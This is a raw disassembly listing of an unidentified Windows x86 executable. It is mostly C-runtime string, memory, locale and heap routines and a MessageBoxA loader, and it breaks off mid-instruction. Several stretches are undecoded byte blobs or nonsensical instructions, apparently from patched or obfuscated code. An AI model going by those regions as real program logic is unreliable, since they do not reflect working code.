loc_402063 pop esi retn ; --------------------------------------------------------------------------- loc_402063: ; CODE XREF: seg000:0040204Aj ; seg000:0040205Fj mov ecx, ds:dword_407884 sub ecx, ds:dword_407888 mov ds:dword_407888, eax sar ecx, 2 lea ecx, [eax+ecx*4] mov ds:dword_407884, ecx loc_402080: ; CODE XREF: seg000:00402030j mov eax, [esp+8] mov [ecx], eax add ds:dword_407884, 4 pop esi retn ; --------------------------------------------------------------------------- db 0E9h dword_402090 dd 0FFF7E36Dh, 83EFB191h, 1E17F7D6h, 30CB76DDh, 80686Bh dd 0F5E80000h, 85000008h, 88A359C0h, 75004078h, 58186A04h dd 2083C3h, 407888A1h, 7884A300h, 0C0330040h ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4020C9 proc near ; CODE XREF: seg000:00403E6Fp var_10 = byte ptr -10h var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_A = byte ptr 12h push ebp mov ebp, esp sub esp, 10h push ebx xor ebx, ebx cmp ds:dword_407474, ebx push esi push edi jnz short loc_402149 push offset aUser32_dll ; "user32.dll" call ds:dword_405074 ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_402184 mov esi, ds:dword_40502C push offset aMessageboxa ; "MessageBoxA" push edi call esi test eax, eax mov ds:dword_407474, eax jz short loc_402184 push offset aGetactivewindo ; "GetActiveWindow" push edi call esi push offset aGetlastactivep ; "GetLastActivePopup" push edi mov ds:dword_407478, eax call esi cmp ds:dword_407318, 2 mov ds:dword_40747C, eax jnz short loc_402149 push offset aGetuserobjecti ; "GetUserObjectInformationA" push edi call esi test eax, eax mov ds:dword_407484, eax jz short loc_402149 push offset aGetprocesswind ; "GetProcessWindowStation" push edi call esi mov ds:dword_407480, eax loc_402149: ; CODE XREF: sub_4020C9+11j ; sub_4020C9+60j ... mov eax, ds:dword_407480 test eax, eax jz short loc_40218E call eax test eax, eax jz short loc_402175 lea ecx, [ebp+var_4] push ecx push 0Ch lea ecx, [ebp+var_10] push ecx push 1 push eax call ds:dword_407484 test eax, eax jz short loc_402175 test [ebp+var_8], 1 jnz short loc_40218E loc_402175: ; CODE XREF: sub_4020C9+8Dj ; sub_4020C9+A4j cmp ds:dword_407324, 4 jb short loc_402188 or [ebp+arg_A], 20h jmp short loc_4021AD ; --------------------------------------------------------------------------- loc_402184: ; CODE XREF: sub_4020C9+22j ; sub_4020C9+3Dj xor eax, eax jmp short loc_4021BD ; --------------------------------------------------------------------------- loc_402188: ; CODE XREF: sub_4020C9+B3j or [ebp+arg_A], 4 jmp short loc_4021AD ; --------------------------------------------------------------------------- loc_40218E: ; CODE XREF: sub_4020C9+87j ; sub_4020C9+AAj mov eax, ds:dword_407478 test eax, eax jz short loc_4021AD call eax mov ebx, eax test ebx, ebx jz short loc_4021AD mov eax, ds:dword_40747C test eax, eax jz short loc_4021AD push ebx call eax mov ebx, eax loc_4021AD: ; CODE XREF: sub_4020C9+B9j ; sub_4020C9+C3j ... push dword ptr [ebp+10h] push [ebp+arg_4] push [ebp+arg_0] push ebx call ds:dword_407474 loc_4021BD: ; CODE XREF: sub_4020C9+BDj pop edi pop esi pop ebx leave retn sub_4020C9 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4021D0 proc near ; CODE XREF: seg000:00403E2Ep arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_402245 sub_4021D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4021E0 proc near ; CODE XREF: seg000:00403E3Ap ; seg000:00403E45p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_402200 loc_4021ED: ; CODE XREF: sub_4021E0+1Cj mov al, [ecx] add ecx, 1 test al, al jz short loc_402233 test ecx, 3 jnz short loc_4021ED mov edi, edi loc_402200: ; CODE XREF: sub_4021E0+Bj ; sub_4021E0+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_402200 mov eax, [ecx-4] test al, al jz short loc_402242 test ah, ah jz short loc_40223D test eax, 0FF0000h jz short loc_402238 test eax, 0FF000000h jz short loc_402233 jmp short loc_402200 ; --------------------------------------------------------------------------- loc_402233: ; CODE XREF: sub_4021E0+14j ; sub_4021E0+4Fj lea edi, [ecx-1] jmp short loc_402245 ; --------------------------------------------------------------------------- loc_402238: ; CODE XREF: sub_4021E0+48j lea edi, [ecx-2] jmp short loc_402245 ; --------------------------------------------------------------------------- loc_40223D: ; CODE XREF: sub_4021E0+41j lea edi, [ecx-3] jmp short loc_402245 ; --------------------------------------------------------------------------- loc_402242: ; CODE XREF: sub_4021E0+3Dj lea edi, [ecx-4] loc_402245: ; CODE XREF: sub_4021D0+5j ; sub_4021E0+56j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_40226E loc_402251: ; CODE XREF: sub_4021E0+85j mov dl, [ecx] add ecx, 1 test dl, dl jz short loc_4022C0 mov [edi], dl add edi, 1 test ecx, 3 jnz short loc_402251 jmp short loc_40226E ; --------------------------------------------------------------------------- loc_402269: ; CODE XREF: sub_4021E0+A6j ; sub_4021E0+C0j mov [edi], edx add edi, 4 loc_40226E: ; CODE XREF: sub_4021E0+6Fj ; sub_4021E0+87j mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_402269 test dl, dl jz short loc_4022C0 test dh, dh jz short loc_4022B7 test edx, 0FF0000h jz short loc_4022AA test edx, 0FF000000h jz short loc_4022A2 jmp short loc_402269 ; --------------------------------------------------------------------------- loc_4022A2: ; CODE XREF: sub_4021E0+BEj mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_4022AA: ; CODE XREF: sub_4021E0+B6j mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_4022B7: ; CODE XREF: sub_4021E0+AEj mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_4022C0: ; CODE XREF: sub_4021E0+78j ; sub_4021E0+AAj mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_4021E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4022D0 proc near ; CODE XREF: seg000:00403E09p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_40236F push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_4022FC shr ecx, 2 jnz loc_40237F jmp short loc_402323 ; --------------------------------------------------------------------------- loc_4022FC: ; CODE XREF: sub_4022D0+1Fj ; sub_4022D0+45j mov al, [esi] add esi, 1 mov [edi], al add edi, 1 sub ecx, 1 jz short loc_402336 test al, al jz short loc_40233E test esi, 3 jnz short loc_4022FC mov ebx, ecx shr ecx, 2 jnz short loc_40237F loc_40231E: ; CODE XREF: sub_4022D0+ADj and ebx, 3 jz short loc_402336 loc_402323: ; CODE XREF: sub_4022D0+2Aj ; sub_4022D0+64j mov al, [esi] add esi, 1 mov [edi], al add edi, 1 test al, al jz short loc_402368 sub ebx, 1 jnz short loc_402323 loc_402336: ; CODE XREF: sub_4022D0+39j ; sub_4022D0+51j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_40233E: ; CODE XREF: sub_4022D0+3Dj test edi, 3 jz short loc_40235C loc_402346: ; CODE XREF: sub_4022D0+8Aj mov [edi], al add edi, 1 sub ecx, 1 jz loc_4023EC test edi, 3 jnz short loc_402346 loc_40235C: ; CODE XREF: sub_4022D0+74j mov ebx, ecx shr ecx, 2 jnz short loc_4023D7 loc_402363: ; CODE XREF: sub_4022D0+9Bj ; sub_4022D0+116j mov [edi], al add edi, 1 loc_402368: ; CODE XREF: sub_4022D0+5Fj sub ebx, 1 jnz short loc_402363 pop ebx pop esi loc_40236F: ; CODE XREF: sub_4022D0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_402375: ; CODE XREF: sub_4022D0+C7j ; sub_4022D0+DFj mov [edi], edx add edi, 4 sub ecx, 1 jz short loc_40231E loc_40237F: ; CODE XREF: sub_4022D0+24j ; sub_4022D0+4Cj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_402375 test dl, dl jz short loc_4023C9 test dh, dh jz short loc_4023BF test edx, 0FF0000h jz short loc_4023B5 test edx, 0FF000000h jnz short loc_402375 mov [edi], edx jmp short loc_4023CD ; --------------------------------------------------------------------------- loc_4023B5: ; CODE XREF: sub_4022D0+D7j and edx, 0FFFFh mov [edi], edx jmp short loc_4023CD ; --------------------------------------------------------------------------- loc_4023BF: ; CODE XREF: sub_4022D0+CFj and edx, 0FFh mov [edi], edx jmp short loc_4023CD ; --------------------------------------------------------------------------- loc_4023C9: ; CODE XREF: sub_4022D0+CBj xor edx, edx mov [edi], edx loc_4023CD: ; CODE XREF: sub_4022D0+E3j ; sub_4022D0+EDj ... add edi, 4 xor eax, eax sub ecx, 1 jz short loc_4023E3 loc_4023D7: ; CODE XREF: sub_4022D0+91j xor eax, eax loc_4023D9: ; CODE XREF: sub_4022D0+111j mov [edi], eax add edi, 4 sub ecx, 1 jnz short loc_4023D9 loc_4023E3: ; CODE XREF: sub_4022D0+105j and ebx, 3 jnz loc_402363 loc_4023EC: ; CODE XREF: sub_4022D0+7Ej mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_4022D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402400 proc near ; CODE XREF: seg000:00403DDEp ; seg000:00403DEFp ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_402430 loc_40240C: ; CODE XREF: sub_402400+1Bj mov al, [ecx] add ecx, 1 test al, al jz short loc_402463 test ecx, 3 jnz short loc_40240C add eax, 0 lea esp, [esp+0] lea esp, [esp+0] loc_402430: ; CODE XREF: sub_402400+Aj ; sub_402400+46j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_402430 mov eax, [ecx-4] test al, al jz short loc_402481 test ah, ah jz short loc_402477 test eax, 0FF0000h jz short loc_40246D test eax, 0FF000000h jz short loc_402463 jmp short loc_402430 ; --------------------------------------------------------------------------- loc_402463: ; CODE XREF: sub_402400+13j ; sub_402400+5Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_40246D: ; CODE XREF: sub_402400+58j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_402477: ; CODE XREF: sub_402400+51j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_402481: ; CODE XREF: sub_402400+4Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_402400 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4024BC loc_40248B: ; CODE XREF: sub_4024BC:loc_4024C5j push 8 push offset dword_4055C8 call sub_401E78 ; END OF FUNCTION CHUNK FOR sub_4024BC ; --------------------------------------------------------------------------- and dword ptr [ebp-4], 0 push 0 push 1 call sub_403D37 ; --------------------------------------------------------------------------- pop ecx pop ecx jmp short loc_4024AF ; --------------------------------------------------------------------------- xor eax, eax inc eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] loc_4024AF: ; CODE XREF: seg000:004024A6j or dword ptr [ebp-4], 0FFFFFFFFh push 3 call ds:dword_405028 ; ExitProcess int 3 ; Trap to Debugger ; =============== S U B R O U T I N E ======================================= sub_4024BC proc near ; CODE XREF: sub_402566+185p ; seg000:004028D1p ... ; FUNCTION CHUNK AT 0040248B SIZE 0000000C BYTES cmp ecx, ds:dword_4071C0 jnz short loc_4024C5 retn ; --------------------------------------------------------------------------- loc_4024C5: ; CODE XREF: sub_4024BC+6j jmp loc_40248B sub_4024BC endp ; --------------------------------------------------------------------------- movzx eax, byte ptr [esp+4] mov cl, [esp+0Ch] test ds:byte_407541[eax], cl jnz short loc_4024F9 cmp dword ptr [esp+8], 0 jz short loc_4024F2 mov ecx, ds:off_4072D0 movzx eax, word ptr [ecx+eax*2] and eax, [esp+8] jmp short loc_4024F4 ; --------------------------------------------------------------------------- loc_4024F2: ; CODE XREF: seg000:004024E0j xor eax, eax loc_4024F4: ; CODE XREF: seg000:004024F0j test eax, eax jnz short loc_4024F9 retn ; --------------------------------------------------------------------------- loc_4024F9: ; CODE XREF: seg000:004024D9j ; seg000:004024F6j xor eax, eax inc eax retn ; --------------------------------------------------------------------------- db 0E9h, 0E5h, 0E3h dd 5903FFF7h, 0B271097h, 55865DE5h db 13h, 0B2h ; =============== S U B R O U T I N E ======================================= sub_40250E proc near ; CODE XREF: seg000:00402849p ; seg000:0040288Ep sub eax, 3A4h jz short loc_402537 sub eax, 4 jz short loc_402531 sub eax, 0Dh jz short loc_40252B dec eax jz short loc_402525 xor eax, eax retn ; --------------------------------------------------------------------------- loc_402525: ; CODE XREF: sub_40250E+12j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_40252B: ; CODE XREF: sub_40250E+Fj mov eax, 412h retn ; --------------------------------------------------------------------------- loc_402531: ; CODE XREF: sub_40250E+Aj mov eax, 804h retn ; --------------------------------------------------------------------------- loc_402537: ; CODE XREF: sub_40250E+5j mov eax, 411h retn sub_40250E endp ; =============== S U B R O U T I N E ======================================= sub_40253D proc near ; CODE XREF: seg000:loc_4028BAp push edi push 40h xor eax, eax pop ecx mov edi, offset byte_407540 rep stosd stosb xor eax, eax mov ds:dword_407644, eax mov ds:dword_407530, eax mov ds:dword_40752C, eax mov edi, offset dword_407650 stosd stosd stosd pop edi retn sub_40253D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_402566 proc near ; CODE XREF: seg000:loc_4028BFp var_518 = word ptr -518h var_318 = byte ptr -318h var_218 = byte ptr -218h var_118 = byte ptr -118h var_18 = byte ptr -18h var_11 = byte ptr -11h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 518h mov eax, ds:dword_4071C0 mov [ebp+var_4], eax push esi lea eax, [ebp+var_18] push eax push ds:dword_407644 call near ptr 0B70004h sbb [ebx+0BE01F8h], eax add [eax], eax add [edi], cl test ds:33000001h, ecx ror byte ptr [eax-117FA7Ch], 0FFh inc dword ptr [eax+3Bh] mov byte ptr [edx-0Ch], 8Ah inc ebp out dx, al test al, al mov [ebp+var_118], 20h jz short loc_4025E8 push ebx lea edx, [ebp+var_11] push edi loc_4025B7: ; CODE XREF: sub_402566+7Ej movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_4025DE sub ecx, eax inc ecx mov ebx, ecx shr ecx, 2 lea edi, [ebp+eax+var_118] mov eax, 20202020h rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_4025DE: ; CODE XREF: sub_402566+59j inc edx mov al, [edx] inc edx test al, al jnz short loc_4025B7 pop edi pop ebx loc_4025E8: ; CODE XREF: sub_402566+4Aj push 0 push ds:dword_40752C lea eax, [ebp+var_518] push ds:dword_407644 push eax push esi lea eax, [ebp+var_118] push eax push 1 call sub_40423B ; --------------------------------------------------------------------------- push 0 push ds:dword_407644 lea eax, [ebp+var_218] push esi push eax push esi lea eax, [ebp+var_118] push eax push esi push ds:dword_40752C call sub_403E7F ; --------------------------------------------------------------------------- push 0 push ds:dword_407644 lea eax, [ebp+var_318] push esi push eax push esi lea eax, [ebp+var_118] push eax push 200h push ds:dword_40752C call sub_403E7F ; --------------------------------------------------------------------------- add esp, 5Ch xor eax, eax loc_40265D: ; CODE XREF: sub_402566+139j mov cx, [ebp+eax*2+var_518] test cl, 1 jz short loc_402680 or ds:byte_407541[eax], 10h mov cl, [ebp+eax+var_218] loc_402678: ; CODE XREF: sub_402566+12Dj mov ds:byte_407660[eax], cl jmp short loc_40269C ; --------------------------------------------------------------------------- loc_402680: ; CODE XREF: sub_402566+102j test cl, 2 jz short loc_402695 or ds:byte_407541[eax], 20h mov cl, [ebp+eax+var_318] jmp short loc_402678 ; --------------------------------------------------------------------------- loc_402695: ; CODE XREF: sub_402566+11Dj mov ds:byte_407660[eax], 0 loc_40269C: ; CODE XREF: sub_402566+118j inc eax cmp eax, esi jb short loc_40265D jmp short loc_4026E7 ; --------------------------------------------------------------------------- xor eax, eax loc_4026A5: ; CODE XREF: sub_402566+17Fj cmp eax, 41h jb short loc_4026C3 cmp eax, 5Ah ja short loc_4026C3 or ds:byte_407541[eax], 10h mov cl, al add cl, 20h loc_4026BB: ; CODE XREF: sub_402566+173j mov ds:byte_407660[eax], cl jmp short loc_4026E2 ; --------------------------------------------------------------------------- loc_4026C3: ; CODE XREF: sub_402566+142j ; sub_402566+147j cmp eax, 61h jb short loc_4026DB cmp eax, 7Ah ja short loc_4026DB or ds:byte_407541[eax], 20h mov cl, al sub cl, 20h jmp short loc_4026BB ; --------------------------------------------------------------------------- loc_4026DB: ; CODE XREF: sub_402566+160j ; sub_402566+165j mov ds:byte_407660[eax], 0 loc_4026E2: ; CODE XREF: sub_402566+15Bj inc eax cmp eax, esi jb short loc_4026A5 loc_4026E7: ; CODE XREF: sub_402566+13Bj mov ecx, [ebp+var_4] pop esi call sub_4024BC leave retn sub_402566 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 1Ch mov eax, ds:dword_4071C0 push ebx push esi mov esi, [ebp+8] xor ebx, ebx cmp esi, 0FFFFFFFEh mov [ebp-4], eax push edi mov ds:dword_407488, ebx jnz short near ptr loc_402724+1 mov ds:dword_407488, 1 call near ptr 0B90004h mov ebx, ebp loc_402724: ; CODE XREF: seg000:00402711j sub eax, [ebx+1275FDFEh] mov ds:dword_407488, 1 call near ptr 0BB0004h mov eax, ds:0FE8314EBh cld jnz short loc_402755 mov eax, ds:dword_4074F8 mov ds:dword_407488, 1 mov [ebp+8], eax mov esi, eax loc_402755: ; CODE XREF: seg000:0040273Fj cmp esi, ds:dword_407644 jz loc_4028C4 cmp esi, ebx jz loc_4028BA xor edx, edx xor eax, eax loc_40276D: ; CODE XREF: seg000:0040277Ej cmp ds:dword_4071D0[eax], esi jz short loc_4027DC add eax, 30h inc edx cmp eax, 0F0h jb short loc_40276D lea eax, [ebp-18h] push eax push esi call near ptr 0BD0004h adc eax, [ebx-7AF0FE08h] push ds add [eax], eax add [edx+40h], ch xor eax, eax pop ecx mov edi, offset byte_407540 rep stosd stosb xor edi, edi inc edi cmp [ebp-18h], edi mov ds:dword_407644, esi mov ds:dword_40752C, ebx jbe loc_4028A0 cmp byte ptr [ebp-12h], 0 jz loc_40287B lea ecx, [ebp-11h] loc_4027C6: ; CODE XREF: seg000:00402875j mov dl, [ecx] test dl, dl jz loc_40287B movzx eax, byte ptr [ecx-1] movzx edx, dl jmp loc_40286B ; --------------------------------------------------------------------------- loc_4027DC: ; CODE XREF: seg000:00402773j push 40h xor eax, eax pop ecx mov edi, offset byte_407540 rep stosd lea ecx, [edx+edx*2] shl ecx, 4 mov [ebp-1Ch], ebx stosb lea ebx, dword_4071E0[ecx] loc_4027F8: ; CODE XREF: seg000:00402835j mov al, [ebx] mov esi, ebx jmp short loc_402827 ; --------------------------------------------------------------------------- loc_4027FE: ; CODE XREF: seg000:00402829j mov dl, [esi+1] test dl, dl jz short loc_40282B movzx eax, al movzx edi, dl cmp eax, edi ja short loc_402823 mov edx, [ebp-1Ch] mov dl, ds:byte_4071C8[edx] loc_402818: ; CODE XREF: seg000:00402821j or ds:byte_407541[eax], dl inc eax cmp eax, edi jbe short loc_402818 loc_402823: ; CODE XREF: seg000:0040280Dj inc esi inc esi mov al, [esi] loc_402827: ; CODE XREF: seg000:004027FCj test al, al jnz short loc_4027FE loc_40282B: ; CODE XREF: seg000:00402803j inc dword ptr [ebp-1Ch] add ebx, 8 cmp dword ptr [ebp-1Ch], 4 jb short loc_4027F8 mov eax, [ebp+8] mov ds:dword_407644, eax mov ds:dword_407530, 1 call sub_40250E lea esi, dword_4071D4[ecx] mov edi, offset dword_407650 movsd movsd mov ds:dword_40752C, eax movsd jmp short loc_4028BF ; --------------------------------------------------------------------------- loc_402863: ; CODE XREF: seg000:0040286Dj or ds:byte_407541[eax], 4 inc eax loc_40286B: ; CODE XREF: seg000:004027D7j cmp eax, edx jbe short loc_402863 inc ecx inc ecx cmp byte ptr [ecx-1], 0 jnz loc_4027C6 loc_40287B: ; CODE XREF: seg000:004027BDj ; seg000:004027CAj mov eax, edi loc_40287D: ; CODE XREF: seg000:0040288Aj or ds:byte_407541[eax], 8 inc eax cmp eax, 0FFh jb short loc_40287D mov eax, esi call sub_40250E mov ds:dword_40752C, eax mov ds:dword_407530, edi jmp short loc_4028A6 ; --------------------------------------------------------------------------- loc_4028A0: ; CODE XREF: seg000:004027B3j mov ds:dword_407530, ebx loc_4028A6: ; CODE XREF: seg000:0040289Ej xor eax, eax mov edi, offset dword_407650 stosd stosd stosd jmp short loc_4028BF ; --------------------------------------------------------------------------- cmp ds:dword_407488, ebx jz short loc_4028C8 loc_4028BA: ; CODE XREF: seg000:00402763j call sub_40253D loc_4028BF: ; CODE XREF: seg000:00402861j ; seg000:004028B0j call sub_402566 ; --------------------------------------------------------------------------- loc_4028C4: ; CODE XREF: seg000:0040275Bj xor eax, eax jmp short loc_4028CB ; --------------------------------------------------------------------------- loc_4028C8: ; CODE XREF: seg000:004028B8j or eax, 0FFFFFFFFh loc_4028CB: ; CODE XREF: seg000:004028C6j mov ecx, [ebp-4] pop edi pop esi pop ebx call sub_4024BC leave retn ; --------------------------------------------------------------------------- dword_4028D8 dd 0F7EEFDE9h, 0C93E3EFFh, 75D474Bh, 1095404Ch, 256F78B6h ; DATA XREF: seg002:00407014o dd 5730ACA6h, 0EA4191AFh db 0E2h, 0E7h ; =============== S U B R O U T I N E ======================================= sub_4028F6 proc near ; CODE XREF: sub_403B37+24p ; sub_403E7F+23Dp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_40292C cmp ds:dword_407764, 3 push esi jnz short loc_40291E call sub_402D45 test eax, eax pop ecx push esi jz short loc_40291E push eax call sub_402D70 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_40291E: ; CODE XREF: sub_4028F6+11j ; sub_4028F6+1Cj push 0 push ds:dword_407760 call ds:dword_405070 ; RtlFreeHeap loc_40292C: ; CODE XREF: sub_4028F6+7j pop esi retn sub_4028F6 endp ; =============== S U B R O U T I N E ======================================= sub_40292E proc near ; CODE XREF: seg000:0040297Fp arg_0 = dword ptr 4 cmp ds:dword_407764, 3 push esi mov esi, [esp+4+arg_0] jnz short loc_40294F cmp esi, ds:dword_40751C ja short loc_40294F push esi call sub_403524 test eax, eax pop ecx jnz short loc_402972 loc_40294F: ; CODE XREF: sub_40292E+Cj ; sub_40292E+14j test esi, esi jnz short loc_402954 inc esi loc_402954: ; CODE XREF: sub_40292E+23j cmp ds:dword_407764, 1 jz short loc_402963 add esi, 0Fh and esi, 0FFFFFFF0h loc_402963: ; CODE XREF: sub_40292E+2Dj push esi push 0 push ds:dword_407760 call ds:dword_405084 ; RtlAllocateHeap loc_402972: ; CODE XREF: sub_40292E+1Fj pop esi retn sub_40292E endp ; --------------------------------------------------------------------------- cmp dword ptr [esp+4], 0FFFFFFE0h ja short loc_40299D loc_40297B: ; CODE XREF: seg000:0040299Bj push dword ptr [esp+4] call sub_40292E test eax, eax pop ecx jnz short locret_40299F cmp [esp+8], eax jz short locret_40299F push dword ptr [esp+4] call sub_4043F5 test eax, eax pop ecx jnz short loc_40297B loc_40299D: ; CODE XREF: seg000:00402979j xor eax, eax locret_40299F: ; CODE XREF: seg000:00402987j ; seg000:0040298Dj retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4029A0 proc near ; CODE XREF: sub_403B37+Fp ; sub_403E7F+11Ap ... jmp near ptr 381909h sub_4029A0 endp ; --------------------------------------------------------------------------- db 32h, 5Dh, 23h dd 590DA1F4h, 0E1960213h, 0CCCC6EABh, 3 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4029C0 proc near ; CODE XREF: sub_403B37+8Dp ; sub_403B37+D5p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_4029E0 cmp edi, eax jb loc_402B5C loc_4029E0: ; CODE XREF: sub_4029C0+16j test edi, 3 jnz short loc_4029FC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_402A1C rep movsd jmp ds:off_402B0C[edx*4] ; --------------------------------------------------------------------------- loc_4029FC: ; CODE XREF: sub_4029C0+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_402A14 and eax, 3 add ecx, eax jmp dword ptr ds:loc_402A1C+4[eax*4] ; --------------------------------------------------------------------------- loc_402A14: ; CODE XREF: sub_4029C0+46j jmp dword ptr ds:loc_402B1C[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_402A1C: ; CODE XREF: sub_4029C0+31j ; sub_4029C0+8Ej ... jmp ds:off_402AA0[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_402A30 dd offset loc_402A5C dd offset loc_402A80 ; --------------------------------------------------------------------------- loc_402A30: ; DATA XREF: sub_4029C0+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_402A1C rep movsd jmp ds:off_402B0C[edx*4] ; --------------------------------------------------------------------------- align 4 loc_402A5C: ; DATA XREF: sub_4029C0+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_402A1C rep movsd jmp ds:off_402B0C[edx*4] ; --------------------------------------------------------------------------- align 10h loc_402A80: ; DATA XREF: sub_4029C0+6Co and edx, ecx mov al, [esi] mov [edi], al add esi, 1 shr ecx, 2 add edi, 1 cmp ecx, 8 jb short loc_402A1C rep movsd jmp ds:off_402B0C[edx*4] ; --------------------------------------------------------------------------- align 10h off_402AA0 dd offset loc_402B03 ; DATA XREF: sub_4029C0:loc_402A1Cr dd offset loc_402AF0 dd offset loc_402AE8 dd offset loc_402AE0 dd offset loc_402AD8 dd offset loc_402AD0 dd offset loc_402AC8 dd offset loc_402AC0 ; --------------------------------------------------------------------------- loc_402AC0: ; CODE XREF: sub_4029C0:loc_402A1Cj ; DATA XREF: sub_4029C0+FCo mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_402AC8: ; CODE XREF: sub_4029C0:loc_402A1Cj ; DATA XREF: sub_4029C0+F8o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_402AD0: ; CODE XREF: sub_4029C0:loc_402A1Cj ; DATA XREF: sub_4029C0+F4o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_402AD8: ; CODE XREF: sub_4029C0:loc_402A1Cj ; DATA XREF: sub_4029C0+F0o mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_402AE0: ; CODE XREF: sub_4029C0:loc_402A1Cj ; DATA XREF: sub_4029C0+ECo mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_402AE8: ; CODE XREF: sub_4029C0:loc_402A1Cj ; DATA XREF: sub_4029C0+E8o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_402AF0: ; CODE XREF: sub_4029C0:loc_402A1Cj ; DATA XREF: sub_4029C0+E4o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_402B03: ; CODE XREF: sub_4029C0:loc_402A1Cj ; DATA XREF: sub_4029C0:off_402AA0o jmp ds:off_402B0C[edx*4] ; --------------------------------------------------------------------------- align 4 off_402B0C dd offset loc_402B1C ; DATA XREF: sub_4029C0+35r ; sub_4029C0+92r ... dd offset loc_402B24 dd offset loc_402B30 dd offset loc_402B44 ; --------------------------------------------------------------------------- loc_402B1C: ; CODE XREF: sub_4029C0+35j ; sub_4029C0+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_402B24: ; CODE XREF: sub_4029C0+35j ; sub_4029C0+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_402B30: ; CODE XREF: sub_4029C0+35j ; sub_4029C0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_402B44: ; CODE XREF: sub_4029C0+35j ; sub_4029C0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov 